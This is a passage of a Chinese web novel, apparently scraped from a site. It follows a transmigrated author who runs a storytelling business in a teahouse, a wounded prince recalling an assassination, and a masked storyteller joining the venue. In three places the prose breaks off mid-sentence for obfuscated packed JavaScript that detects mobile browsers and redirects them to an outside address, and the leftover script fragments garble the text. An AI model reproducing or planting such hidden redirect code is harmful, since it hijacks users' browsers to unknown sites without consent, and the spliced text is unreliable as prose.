江沁月在桌下按住她的手,对那男子说:“公子似乎只点了清茶,要不要和我们拼桌?点心算请你的。” 随即她低声对赵昭兰说:“他来邀月轩听过书,套一下他的话。” “那在下恭敬不如从命了。”狐面男子一个闪身挪到了她们这桌。 各色茶点满满当当地摆了一桌,他毫不客气,挨个尝了个遍。 “公子觉得这些茶点味道如何?”江沁月问,自己也拿起一块高仿版百花酥尝了一口。 “要我说啊,没有你们邀月轩做得好。”他喝了口茶,“太甜太腻。” 江沁月尝过之后也是这个感受,果然如她之前所料。 开玩笑,她们兢兢业业研究出来的配方,只能被模仿,无法被超越。 譬如这百花酥,可不同于普通鲜花饼,馅料以玫瑰花泥为底,以香气最为浓郁的玫瑰花蜜为主调味,加上其余数种花汁增加其味道的层次感,入口甜而不腻,回味唇齿留香。 江沁月并不意外他能认出她们,赵昭兰却稀奇道:“哦?你认得出我们?” 他笑意更甚:“妙笔生的故事很有意思,赵老板的手艺更是一绝。” “你这话的意思,是我的故事讲得还不够好喽?唉,难怪跑来百晓楼了,今日我也观摩学习一下。”江沁月摇头叹息。 “非也非也,他若是讲得好,还用去你们那偷师吗?”狐面男子倾身靠近她们说,“在下其实也是讲故事的一把好手,赵老板不妨考虑一下?” “干什么?抢我饭碗啊?不敢以真容示人,身份可疑,你是何居心?”江沁月拉下脸来。 赵昭兰也满腹狐疑:“你之前在我们那听书,如今又出现在这,你不会是百晓楼的人,想来搅黄我们的生意吧?” 见二人防备心起,他拱手道:“二位误会了,忘了自我介绍,是在下的不是。我叫林三,家里吧有点小钱,想来说书纯粹是兴致所至。这两相比较,在下认为还是邀月轩更胜一筹,故而毛遂自荐。” 江沁月冷哼:“别是编个假身份骗我们,不然为何一直戴着面具?” “在下面有伤疤,相貌丑陋,自己都不忍直视,实在怕吓着外人。” 他又对江沁月说:“妙笔生姑娘,若我能来的话,我们可以轮流登场,你也不必如此辛苦了。” 坏了,这点还真正中她下怀。紧绷着连轴转时还没什么感觉,今日一休息,懒劲就犯了上来,明日后日再后日都想躺平了。 但这人实在可疑,她摇摇头:“疑人不用,不好意思了林公子。” “不用急着拒绝我,我理解你们的顾虑,也请二位相信我的诚意,若是日后需要我,留信到这里就好。”林三说着写下一张纸条递给他们。 “千乐坊?你是林老板的儿子?”赵昭兰看着纸条上的地名,不确定地问道。 千乐坊是京城中最大的赌坊,老板姓林,妻妾成群儿女众多,但赵昭兰也不相熟,不知道他是否有个叫林三的儿子。 亦或是三是他的排行,他不愿意透露真名? 林三没有答话,只低头默默喝茶。 台上的说书人正讲得声情并茂,今日倒是没讲抄来的故事。 “没意思,”林三喝完最后一口茶,起身告辞,“那在下就先走一步了,多谢二位款待,希望我们有缘再会。” 说书人的故事已讲到了尾声,江沁月和赵昭兰也准备离开了。看这情况,茶点方面是不足为惧了,但故事方面她们还可以再精进一下。 至于该如何精进,江沁月还有些一筹莫展。 还未走出茶楼,便听见说书人复又开口:“最后附送各位一则八卦,据可靠消息,太子殿下和颜家小姐,年后应该就要成婚了。” 在座众人炸开了锅,多是祝福与称赞,主角二人在百姓间颇具名望。 江沁月闻言也是一怔,书中她没写到的男女主婚礼,难道有机会让她这个“亲妈”亲眼目睹了吗? 而且如果他此言不假的话,她好像知道可以讲些什么新故事了。 “你怎么知道他们之间的事的?”听完她大胆创新的新想法,赵昭兰面露讶异,“而且太子殿下要是知道我们拿他与颜家小姐当茶余谈资,我们怕是小命不保。” “昭兰姐就别管我从哪知道的了,反正保真,”江沁月嘿嘿一笑,拍胸脯保证道,“你放心,太子殿下定然求之不得,绝不会为难我们。” 这可不是她胡说,她可是作者,穆灼是什么性子她还能不知道吗? 他这一路走来可不容易,颜桃是照亮他生命的光,将他周围的黑暗驱散。二人携手登上高位,他视颜桃为此生挚爱,巴不得他们的故事可以流芳百世。 回去后江沁月便一头钻回房间,抓紧时间研究如何把《东山起》改成适合说书的版本。 而且这故事定然是不能一天讲完的,要详略得当引人入胜,再勾起观众兴趣,用“且听下回分解”来吸引回头客。 这改写也不是一个轻松活,江沁月这两天除了每天下午按时说书,其余时间大门不出二门不迈,专心致志地“闭门造车”。 “江姑娘这几日怎么了?都不见她来吃晚饭。”晚饭时没见到她人影,穆衍便问了一句。 “她想了个新故事,要趁热打铁赶紧搬上台讲,正忙着筹备呢。”赵昭兰说。 “哦?赵老板知道是什么样的新故事吗?”穆衍看起来颇感兴趣,接着问道。 赵昭兰点点头又摇摇头:“大概知道,但沁月说了要保密,殿下见谅。” “无事,我只是好奇而已,之前看过江姑娘的手稿,她的故事很有意思。” 他放下筷子,状似不经意地接着说:“新故事开讲的时候,不知赵老板是否方便替我留个雅间?我的伤也好得差不多了,很想去亲眼瞧瞧现场的热闹。” “自然方便,到时候殿下提前点上去就好,以免被人发现行踪。”赵昭兰爽快答应。 “如此便多谢了。” 江沁月终于携着新故事信心满满地登台了,台下几乎是座无虚席,不过她并不知道,三楼雅间里还有一位“新客”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156637|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不急着开讲,故作神秘地卖了个关子:“今儿个我们来说点更有意思的,不知诸位是否有所耳闻,咱们的太子殿下,如今是好事将近啊?” “当然知道了!全京城谁人不知谁人不晓,太子殿下与颜家小姐年后就要大婚了嘛。”有观众嘁道。 雅间里的穆衍不知道,养伤这些日子他消息十分闭塞,为了保险起见,也甚少与云霏他们通信,他们也不会为这种事传信过来。 江沁月不理台下观众的七嘴八舌,施施然道:“那诸位肯定不知道,太子殿下与颜小姐是如何相识相知,如何花前月下的了。” 众人默了片刻,纷纷称是。观众们目光炯炯,掩不住八卦的兴奋;洗耳恭听,正待她娓娓道来。 试问谁不喜欢听八卦呢?恰好这八卦还离老百姓们不远不近,近在京城,远在皇家,其中详情不足为外人道,但又恰好,不会有人比江沁月更清楚这来龙去脉了。 她正是抓住了吃瓜群众的这种心理,才准备大胆一试。 “要细说这二人啊,就得追溯到许多年前,太子殿下还不是太子的时候了。” “那时他只是三皇子,母家失势,连带着他不受陛下喜爱,被丢在行宫中自生自灭。下人们见他幼小无依,不仅克扣他吃穿用度,还时不时就拿他撒气……这日子过得,说出去是个皇子都招人笑话。” “但他依旧顽强地一天天长大了,十几年来任人欺凌的少年,在某一个明媚的春日,终于幸运地被人看到,从此也有了牵挂和依靠。” “这人就是颜家小姐把?”台下有人接话。 “没错,这二人的初遇,可是一段美救英雄的佳话。” “这行宫平日里无人问津,最是清幽之地,但那日正逢举办宴会,达官显贵们齐聚一堂,好不热闹。三皇子自然不可能赴宴,只寻个偏僻处躲个清静。可我不犯人,人要犯我,那些勋贵子弟四处寻乐游玩,好巧不巧便与这三皇子撞了个正着。” “三皇子长期幽居行宫并不是什么秘密,他们见这少年身着锦衣却破旧非常,瘦得跟竹竿似的,一下子将他的身份猜得七七八八,也知道他极其不受待见。” “这些纨绔公子哥儿,平日里嚣张跋扈惯了,但在王室宗亲面前也只能低声下气。结果今日遇上个好欺负的,于是顽劣的本性便不加收敛,几人登时就将三皇子团团围住,让他道歉。” “三皇子自然是莫名其妙,自己何来错处需要道歉?一人说,自己不受待见就老老实实躲着,别让人撞见了晦气。三皇子不屈不挠,说自己就是在此地躲清静,无意招惹他们。几人见他此状更觉火大,一下子将他推倒在地,挥拳就打。” “双拳难敌四手,幸而此时一位官家小姐路过,她冲上前拉开双方,将三皇子挡在自己身后,那几位纨绔公子知她父亲官职不算高,便威胁她离开,但这位小姐亦是固执,据理力争,那几位气急败坏,但实在不好对一个女子动手,只得拂袖离去。” “这位路见不平拔刀相助的自然就是颜家小姐,她转头安抚三皇子,见他不慎被划破了手掌,便用手绢替他仔细包扎。诸位试想一下,若你是此时的三皇子,心中会想些什么?” “肯定会觉得这位小姐是天女下凡,感激涕零。” “嗐,自然是一见钟情了!” “这又不是话本,怎么可能一见倾心?”有人反驳道。 众人你一言我一语,江沁月接着讲道:“三皇子如何想,我们不得而知。但是据说啊,这块手绢后来被三皇子洗净之后视若珍宝,至今都贴身随时携带呢。” 方才那位说一见钟情的姑娘闻言十分激动:“我没说错嘛!这一听就是早已情根深种!” 讲起自己写的故事时,江沁月更为得心应手,时不时还和大家来点互动,现场气氛十分融洽,观众们也兴致颇高,以至于收工时她还有些意犹未尽。 “诸位,预知后事如何,且听下回分解。明日同一时间,我们不见不散。” 8. 暗夜杀机不忍忆 江沁月心情很好,散场后正打算去和赵昭兰探讨一下新的营销方案,从而招揽更多顾客,将名气进一步打响。 四下打量一圈,没见着赵昭兰的人影,本以为她是在厨房忙活,却见她从楼上下来了。 赵昭兰走到她身边,在她耳边低声说:“快上三楼去,殿下找你,他在最里边那一间。” “太子殿下消息这么快?”江沁月脑子一下子没转过弯,以为是穆灼跑来听书了。 “什么太子殿下!是襄王殿下!他对你的故事很感兴趣,让我提前留了位置。” “他今日全听到了?”江沁月没想到穆衍会跑来听书,心一下子提到嗓子眼。 这听着前未婚妻与自己堂弟的爱情故事,心中该是何滋味? 还要单独叫自己上去……她心中有一种被班主任约谈的紧张感,揣摩着他会说些什么。 以有损皇家体面为由,勒令她不许再把这些拿来说道? 还是质疑她从何处得知,甚至连细枝末节也一清二楚? 虽然穆衍在她笔下是出了名的温润好性子,但在这个世界真正相处过后,她不觉得他是一个完全没脾气的人。 他总是温和有礼,却又时刻给人一种距离感。 “江姑娘请坐,在前楼见着我,怎么还拘束起来了?”穆衍的脸上没有半分不悦,漫不经心地饮着茶。 江沁月讪讪坐下,仔细观察穆衍的神情,却看不出个所以然。 她忍不住先开口问道:“殿下觉得今日的新故事如何?” “何必我说,江姑娘自是心中有数。”穆衍笑了笑,放下茶盏接着道,“很有意思,我明日也想来听下回分解。” “……真的吗?”听他夸赞,江沁月却并未放下心来。 “江姑娘不信本王?虽然我与太子是堂兄弟,但他与淑瑶之间的事,我也所知不多,这些陈年往事就更不清楚了,所以听着很新鲜。” “而且你讲故事时,很会吊人胃口。”穆衍笑意更深,“看来邀月轩以后不仅以美酒佳肴闻名,好茶佳话亦会让人纷至沓来。” 他在三楼雅间里,本来看不见楼下是什么情景,但听着下面喧嚣热闹,他还是忍不住将窗户开了条缝隙,望见台上的姑娘神采飞扬,整个人都熠熠生辉。 人在做自己喜欢的事时,总会发光发热。他也曾在边疆战场上身披金甲意气风发,但以后他也只能在京城养尊处优,时不时被病痛折磨,最后了了此生。 没关系,再也不上战场也好——以后两国之间再无交战,这才是他真正所愿。 明明笑着,眼底却闪过一丝落寞,这是想起了痛失所爱的伤心事?江沁月心中暗想。 “对了,我有些好奇,江姑娘是如何得知淑瑶他们之间的事的?”穆衍话锋一转,状似不经意地问道。 ……果然还是对自己起疑了,但这也正常,一个平民女子上哪去知道这么多内幕详情? “之前偶然从他人处得知,请殿下不要多问了。”她想不出什么能让他完全信服的理由,但这样说的话,他一定不会再追问。 如她所料,穆衍只点点头,没再多问,一贯的温和有礼。 二人又闲聊片刻,江沁月便先离开了,穆衍要等到楼下完全清场再走。 她前脚刚走,一道人影就闪入房间,穆衍有些意外:“你怎么来了?出什么事了吗?” “殿下恕罪,实在是有意外状况,属下不敢欺瞒,这才前来汇报。”年轻女孩气喘吁吁,显然是急行赶来。 穆衍给她倒了杯茶:“喝口茶缓缓,慢慢说。” “刺杀您的人有了下落,活下来的是七星堂首座之一的‘天璇’,我们找到了他的藏身处,但他十分警惕,已经逃出城,云霏去追了。” 穆衍不语,淡淡地瞥了她一眼。 “属下失职,请殿下责罚,我等一定全力追捕,将功赎罪。”女孩刷的一下单膝跪地。 “起来吧,”穆衍说,“一旦逃出京城,那便如泥牛入海,恐怕再难寻其踪迹了,不过他伤得很重,也不太可能单枪匹马再来行刺了。” 女孩不肯起身,执拗道:“请殿下责罚!西辽定然对这次刺杀早有预谋,恐怕是已经得到了您病重的消息,想要趁火打劫来取殿下性命。那‘天璇’多半不会逃回西辽,怕是会伺机蛰伏再次刺杀。” “罚你们也不能改变什么,起来吧。”穆衍叹口气,伸手扶起她,“这些我自然明白。云霞,既然你兄长已经去追,就等他消息吧,暂时不要惊动太多人。” 被唤作云霞的女孩不屑道:“他?那怕是没指望了,殿下,不如我也立马出城,多个人多分机会。” “不必,追不上是情理之中的事。你就留在京城。不日我便要回府了,帮我打点一些事,具体事宜晚些传信给你。”穆衍道。 云霞闻言自是欢欣雀跃,更像是松了一大口气:“太好了!殿下终于要回来了。您不知道,这些日子有好些人来王府探望,甚至陛下都来了一次,我们绞尽脑汁才都打发走了没露馅。” “对了,殿下之前让我们打听那位江姑娘的事……” “有眉目了吗?”穆衍问。 她点点头,犹疑着开口:“确实有些古怪,她像是凭空突然出现在京城的……殿下之前说,这位江姑娘是来寻亲投奔的,可是在她出现在邀月轩之前,京城里没有任何她的行踪。” “属下怀疑她说的可能不是实话,她会不会是西辽的细作?您遇刺的时间地点……又恰好被她所救,这也过于巧合了。”云霞这样说着,语气中却透露着不确定。 穆衍眉心微蹙:“她口中的那些遭遇,或许真假参半吧,但这些日子她行为并无可疑之处,对我的照顾可谓是无微不至,如此这般所求为何?” 云霞当然无从知晓,只能保持沉默。 “至于是不是西辽细作,我虽觉得不太像,但也并非绝无可能,我在这里会继续留意,你先不用管她的事了。” “是,属下不宜在此久留,先行告退。”云霞怕继续待下去惹人生疑,交代完要事便匆匆行礼离开。 茶已凉透,穆衍垂眸看着自己在杯中的模糊倒影,眉眼间笼罩着凝重的阴云。 他不禁又想起了遇刺的那个晚上。 庆功宴上初次发病,那一倒下,他便缠绵病榻数月,日日不间断的汤药喝得想吐,还要针灸、药浴,散不掉的草药气息仿佛将整个王府都腌入了味。 他没有外露过什么情绪,可他的心中满是苦闷。 窗外葱翠的枝叶已经开始发黄凋零,他的情况总算是好了不少,便在那日想趁着深夜无人,出门散散心。 没有叫人跟着,也没有目的地,穆衍随心穿过京城的大街小巷,不知不觉间竟跨过了大半个京城,走到了邀月轩附近。 他站在幽暗的小巷中,前楼彻夜的辉煌灯火却照不到这里。 静谧的夜色中,周围任何细小的动静都会被无限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156638|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放大,一阵疾风裹挟着浓烈的杀意自穆衍背后袭来,他本能地侧身躲开,但外袍还是被利刃划破一道口子。 穆衍暗暗心惊,好快的剑法,他出来没带武器,身上只有那把庆功宴上御赐的短剑,华丽却无甚用处,几乎只能作装饰。 见一击不中,来人不给他喘息的机会,另外几道人影也从暗处窜出,一同杀向穆衍,招招直逼要害。 他只得拔出短剑奋力抵挡,一时间竟打得有来有回,但那四人配合默契,身形诡谲,他本就身子虚弱尚未恢复,缠斗一久难免有些左支右绌。 穆衍力不从心,渐渐地落了下风,身上深深浅浅的伤口越来越多,他能感受到身体里的血液在慢慢流逝。 那几位刺客也受了伤,见他负隅顽抗坚持了这么久,出手更为狠厉,想尽快了结他。 穆衍又一次闪过一人的攻击时,看见了他耳后的星图刺青。 他心中一沉,这是西辽七星堂的印记,他们竟潜入了京城? “七星堂的人?你们有什么目的?!”穆衍厉声问道。 四人手中刀剑不停,一人冷哼一声道:“自然是来取殿下性命。” “殿下被病痛折磨良久,我等奉命来送殿下早登极乐。”另一人嘻嘻笑道。 疼痛和失血让他眼前开始一阵阵发黑,反应也越来越慢,终是不敌,被人一脚踹中胸口,重重地倒在地上,他大口地咯着鲜血,怕是伤到了脏腑。 四人将奄奄一息的穆衍围在中间,他已是插翅难逃。 “何苦挣扎呢殿下?瞧瞧你这狼狈样,不如早早被我们一刀了断,还能走得好看些。” 一人叹息般地摇摇头,刀尖抵在穆衍胸口,稍稍用力便可让他的心脏停止跳动,但他停在这里,仿佛捕食者玩弄自己的猎物。 就在此时,穆衍猛地徒手抓住刀刃并借力暴起,不顾手掌鲜血淋漓,另一手将短剑刺出。 持刀人没想到他还能爆发出这样的力气,毫无防备地被他刺中心脏,一击毙命。 剩下三人中,有两人立即攻向他,但穆衍如同发了狂,毫不防守,只一味进攻,刺出的剑毫无章法,却有让在场之人同归于尽的决绝,那二人一下子伤得不轻。 有一人反应极快地拉开距离跃上墙头,抬手打出几枚飞镖。落雁镖贯穿了穆衍的肩膀,他早已痛到麻木,浑然不觉。 穆衍此刻的力道非比寻常的大,直把短剑砍得卷了刃。他不知道自己能否将这几人全杀掉,但只能尽力一搏。 忽然,与他缠斗的二人表情痛苦地跪倒在地,穆衍不作细想,直接上前将二人抹了脖子。 还有一个…… 他抬头望向墙头上的最后一个人,那人伤得轻一些,但此刻脸色亦是苍白难看,仿佛忍受着什么巨大的痛苦。 “毒……”他咬牙切齿地挤出一个字。 见穆衍摇摇欲坠地向自己走来,用力扔出了最后一枚落雁镖。 穆衍倒下了。 幸存的刺客来不及查探目标是否气绝,只带上同伴的尸体,消失得无声无息。 穆衍还残存着一点意识,他看向落在手边的那柄短剑,剑身上微微泛着青光,之前竟未发现此剑淬了毒。 他一动不动地倒在粘稠的血泊里,可能血都快流尽了吧?自己的一生就要这样结束,如此难堪地死在一条小巷吗? 天色渐明,穆衍却再也支撑不住,无力地闭上双眼,世界终究是陷入了彻底的黑暗。 9. 江湖救急露真颜 许是上苍也于心不忍,让他被好心人救回,总归是捡回了一条命。 穆衍收回思绪,活下来真的是幸运吗?父母都已不在,他在世上无依无靠,况且身患顽疾,又还能活多久? “为自己执笔,去书写一个圆满的结局吧。” 小聚那晚江沁月的醉话突然浮现在他脑海中,她亮晶晶的双眼也在记忆中清晰无比。 或许他不该命绝于此,但他也不知道,未来还有什么值得期盼的事物。 接下来的几天里,慕名前来邀月轩听书的人越来越多,而三楼最里边的那个雅间,也成了穆衍的专属。 江沁月十分疑惑,“情敌”的故事,当真这么有意思吗? 然而好景不长,江沁月如火如荼的新事业遇到了前所未有的重大危机。 “玉方!我的嗓子!真的不是被人暗害毒哑的吗?”江沁月声音嘶哑,努力扯着嗓子说话。 青玉方面露无奈:“没有毒,你就是长期用嗓过度,积劳成疾。” “早劝过你要注意休息,不能这样折腾自己。这几天你现在绝对不能再上台了,我给你开药。”她语气中带上几分严厉,拿来纸笔着手开方。 江沁月不敢还嘴,却心怀忧虑,凑到赵昭兰身边低声道:“怎么办?现在可是趁热打铁的好时候,不能停呀。” “你的身体要紧,别想这么多了,好好养病。”赵昭兰拍拍她的手以示安慰,“钱是挣不完的,留得青山在,不怕没柴烧。” 江沁月依旧不死心,默默盘算着有没有什么别的办法。 对了!那个自称林三的狐面男子! 说起来,那日百晓楼相谈过后,她便没再见他来邀月轩听过书。 江沁月遂提议,传信给千乐坊,请他来邀月轩一叙。 “你想让他来替你上场?他看起来既不可信也不靠谱……”赵昭兰不太赞成。 “死马当活马医吧,”江沁月重重地叹了口气,“既然他敢毛遂自荐,那我们就看看,他是真有本事还是自卖自夸。” 半个时辰后,邀月轩三楼的一个雅间里。 林三与江沁月、赵昭兰二人相对而坐,大半张脸依然隐匿于狐狸面具之下,坦然接受着二人不加掩饰打量的目光。 “二位邀我前来,可是愿意给在下一个机会?”林三率先开口。 “我想林公子或许得先拿出点真本事瞧瞧,让我们考虑一下,你是否值得这个机会。”赵昭兰也不废话,开门见山。 江沁月没有说话,默默递出本是今日要用的话稿,嗓子哑了的事自然不能先暴露。 赵昭兰点了点话稿,说:“林公子不妨一试?把我二人当成观众就好,给你一刻钟的准备时间。” 林三动作很快,一目十行地看完了稿子,便准备直接开始。 对面二人的目光虎视眈眈,像要立马在他一句话里挑出十个错来似的,但林三不慌不忙,徐徐开口。 有的人天生适合当一个讲述者,娓娓道来的语音语调便足以吸引人屏息聆听,江沁月不属于这种人,所以她在台下努力调整练习。 但林三就是这种人,他只看了一遍稿子就能达到这样的效果。 但只是这种程度的话…… 仿佛知道她心中所想,林三“啪”的一声展开手中折扇,掩住了暴露在外的下半张脸。 故事中的夏夜恰逢天降大雨,于是陡然间,风声、雷雨声、蛙鸣声不绝于耳。 这是……口技?! 江沁月愕然转头,与赵昭兰交换了一个眼神,还真是捡到宝了。 林三颇有几分得意,依旧以折扇掩面,只余一双眼还露在外面。装作楚楚可怜的神情,望向对面二位姑娘, “不知二位客官,对奴家的表现可还满意?”林三掐出来的这声音,可谓是婉转动听,千娇百媚。 江沁月哑着嗓子道:“林公子确有几分真本事,佩服佩服。” 听见她的破锣嗓,林三恍然大悟:“原来是妙姑娘病了,才来请我江湖救急。” “…我姓江,请林公子前来,确实是这个原因,”江沁月道,“只是既然有心合作,林公子却不肯以真容示人,未免太没诚意。” 赵昭兰跟着应和:“林公子对我们是知根知底了,我们却连你长什么样都不知道,万一到时候你来一出狸猫换太子,登台的变成了戴着面具的张公子王公子,可如何是好?” 林三拱手赔罪,解释道:“抱歉抱歉,在下实在是有不得已的苦衷……我家里人不知道我出来干这个,要是被他们发现,非把我抓回去打断腿不可。” “……不至于吧?林老板家风这么严?”赵昭兰有点怀疑地看着他。 “赵老板,江姑娘,请你们相信我,我们可以签契书为证。”林三收起嬉笑的神情,语气十分诚恳。 赵昭兰拿不定主意,用眼神询问江沁月意下如何,江沁月轻微点头。 要想不耽误正常营业,林三毫无疑问是她们的最佳选择。 赵昭兰取来纸笔,准备拟一份契书,当她问林三想要多少酬金,林三很果断:“不用给我钱!” 刚一出口,他便觉得这话不妥,改口说与其他长工一样的工钱水平就好。 打工卖艺不图钱,果然不愧是赌坊老板的儿子。 江沁月不敢深思,一深思就发现她来到这里之后认识的人中,只有自己穷得叮当响。 不过这些都是身外之物,她一个穿越来的,挣够回家之前的生活费就行了。 赵昭兰已经拟好了契书,推给对面的林三:“一式两份,林公子看看,没什么问题的话,就签字画押吧。” 林三仔细阅读着契书上罗列的条条框框,趁他看得认真,江沁月迅速出手,一把扯下了他的狐狸面具。 他自是没想到会有这一茬,抬头与江沁月四目相对,眼神中满是错愕。 面具下这张脸生的是肤白唇红,一双上挑的狐狸眼让他看起来俊秀中又带着几分妖冶。 “面有伤疤?相貌丑陋?”江沁月挑眉看他,她可没忘了上次百晓楼初遇时他的说辞。 “……江姑娘的行为有些逾矩了。”林三对她的质疑避而不谈,看起来有些不悦。 “林公子见谅,为了我们的合作着想,我认为我们彼此坦诚相待还是有必要的。”江沁月耸了耸肩,“而且现在看来,是林公子欺骗在先,你这不是长得挺好看的吗?” 或许是少有被女孩子如此直接地夸好看,林三“噗嗤”一声笑了出来,隐隐的怒火荡然无存。 赵昭兰也笑眯眯开口道:“林公子就凭着这张脸,怕是也能吸引不少小姐姑娘们来听书呢,赏心悦目。” 她指着契书末尾处的空白,煞有介事道:“我看要不再加一条,禁止林公子戴面具登台。” 林三的笑容僵在了嘴角:“二位姑娘,你们邀月轩是正经地方吗?我卖艺不卖身的!出卖色相也不行!” 赵昭兰当然是开玩笑的,林三看她戏谑的神情也反应过来了,但他还是提笔蘸墨,在契书的空白处刷刷写上“此处无任何附加条款”几个大字。 “人前我肯定是不会露脸的,不过以后私下见面我们就坦诚相待吧。”林三说。 “合作愉快,”江沁月说着递给他一沓纸,语气带上一丝严肃,“这些是这两天准备讲的话稿,你先看看,下午我会在楼上当监工哦,林公子,不要让我们失望。” “二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156639|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心,不过…有些地方我可不可以稍微自由发挥一下?” 见江沁月面露疑惑,林三解释道:“我也知道一些皇家秘事,可以补充讲解。” “咱们都有各自获取消息的途径,我不问江姑娘如何知道得如此详细,江姑娘也别问我,可好?” 江沁月没有异议。 赵昭兰不放心地叮嘱一句:“不该讲的千万别讲啊,自己心中要有数,别给我招来祸事。” “这是自然。”林三点头表示自己明白。 眼见时辰不早,下午林三就要赶鸭子上架,便留在邀月轩和她们一起吃了饭,依旧是赵昭兰亲自下厨。 林三食指大动,赞不绝口。赵昭兰见状承诺,只要他好好干,以后每天包饭。 “话说,我是不是该和江姑娘一样,给自己取个艺名?”林三若有所思道。 “林公子自便。”江沁月嘴上这么说,却暗自腹诽林三也未必是你真名。 林三思忖片刻后有了主意,却故作神秘,让她们拭目以待就好。 下午开场前,邀月轩上上下下已经没了空座,江沁月便溜进了穆衍的专属雅间。 “殿下,叨扰了。” 穆衍还不知道她嗓子哑了,有些诧异她此时此刻出现在这里。 江沁月简单解释了几句,穆衍心下了然,听她说新来的这人神秘可疑却又有些神通,不由得也有些好奇。 未初四刻,林三准时登场,依旧穿着那身花里胡哨的绯红衣袍,戴着那张精雕细刻的狐狸面具。 突然换了说书人,台下观众自然是议论纷纷。 “不是说妙笔生是个讲话很有趣的姑娘吗?这是换人了吗?”一位慕名首次前来的观众疑惑道。 “我好像见过这人?他前段时间也每日都来听书的,今日怎么跑台上去了?”另一位熟客显然是认出了林三那身显眼的打扮。 林三把玩着手中折扇,不疾不徐道:“和诸位一样,我也很喜欢妙笔生的故事,但我觉得我能讲得更胜一筹。恰好今日闲来无事,斗胆登台,不如在座诸位做个见证,评一评我俩谁讲得更好。” 他的声音清朗悦耳,毫不费力地压过了人群的嘈杂声。 底下的人们依旧在窃窃私语,其中看起来最不满的便是那位冲着妙笔生而来的新客。 林三遥遥向他一点,展开手中洒金折扇,掩面娇声道:“客官莫急,若只是想听说话有趣的姑娘讲故事,我又何尝不可呢?” 他故作女声,台下的议论声戛然而止,上上下下霎时间一片安静。 “诸位请听好,好戏还在后头,况且换汤不换药,故事自然还是妙笔生写的,只不过今日由我妙语花来给大家说道说道……” “卖半天关子,就起个这样的艺名……邀月轩改名叫米奇妙妙屋好了。”江沁月汗颜,小声嘀咕道。 穆衍道:“江姑娘落笔成文,妙笔生花;而他登台讲述,妙语连珠,就像你这个作者的解语花,我倒觉得这名字十分贴切。” 当然,他肯定不会知道米奇妙妙屋是什么东西了,但这无关紧要。 饶是他们在三楼,林三的声音也能清晰地传入耳中。他恰如其分地将口技融入进去,让人更加身临其境,也让整个故事更加妙趣横生。 穆衍走到窗边透过缝隙向下看,但林三戴着面具,他自然看不出什么所以然来。 到了散场时,台下观众们意犹未尽,之前的不满早已荡然无存,哄闹着往台上扔打赏。 江沁月见他兴致颇高,一直倚在窗边看,又听见下面空前的热闹,也起身走到窗边,和他一起向下望去。 静立片刻,她忍不住发问:“殿下,他是不是比我讲得好很多?” 10. 执笔缘起今如是 穆衍愣了一下,没想到她会这样问,回头一看,只见她若有所思地望着楼下熙熙攘攘的人群。 他想了想,很认真地答道:“他的表现形式很有意思,很擅长通过高超的技巧来呈现出更好的讲述效果。” 江沁月认同地点点头。 穆衍认真地看着她的双眼,接着道:“但我更喜欢听你讲,你就像是在讲身边朋友的故事,不需要那些技巧,也让人很愿意听你娓娓道来。” “你不用安慰我……明眼人都看得出来,他确实比我讲得好……”江沁月有些赧然。 “我没有安慰你,之前我虽然没来前楼听书,但我知道你每日都在院中预演排练,也看过你的手稿。我能看出来,你喜欢讲故事,没有你也不会有今日这番热闹景象的。” 这话不假,但他要是觉得自己是在为林三的风头无两而黯然伤神,那就大错特错了。 江沁月连连摆手:“殿下心细如针,但我真的没觉得失落……我只是在想,妙语花既然如此游刃有余,不如我退居幕后,安安心心当撰稿人好了。” “比起人前热闹,或许我更喜欢将故事诉诸笔端吧。” “也好,能做自己喜欢的事就是最好的,台前幕后,各有意义。”穆衍唇角勾起一丝笑意。 江沁月深以为然,她喜欢用自己的笔墨构筑想象中的世界,当她实在地来到书中世界后,她便觉得自己的创作更有意义了。 这里的一切,都无比的鲜活真实。 “那殿下喜欢做什么呢?”她话锋一转,状似不经意地问道。 她想旁敲侧击地打探一下任务方向,尽管穆衍是她笔下的角色,但江沁月不得不承认,她只一心把他塑造成了美强惨工具人,对他不甚了解。 而来到这里见到他后,她心里就更没底了……这也难怪,活生生的人岂会是纸上那三言两语描绘出的单薄存在? 穆衍听她这么问,眼中闪过一丝迷茫:“喜欢?我好像没什么喜欢的事情。” “不自谦地说,我勉强算是诗书精通,六艺全能,这也没什么稀奇的,世家子弟向来如此,更何况我是皇室中人。” “印象最深刻的,应当是征战西辽的那两年吧,但我应该再也没机会上战场了…不过我也不喜欢打仗,我希望这样休兵罢战的和平日子,可以一直持续下去。” 和平,算是他的心愿吗?江沁月觉得应该很难帮他实现,但这与他自己的故事结局也没太大关系吧? 穆衍说话时总带着浅浅的笑意,但此刻笑意中似乎蕴含着几分落寞苦涩。 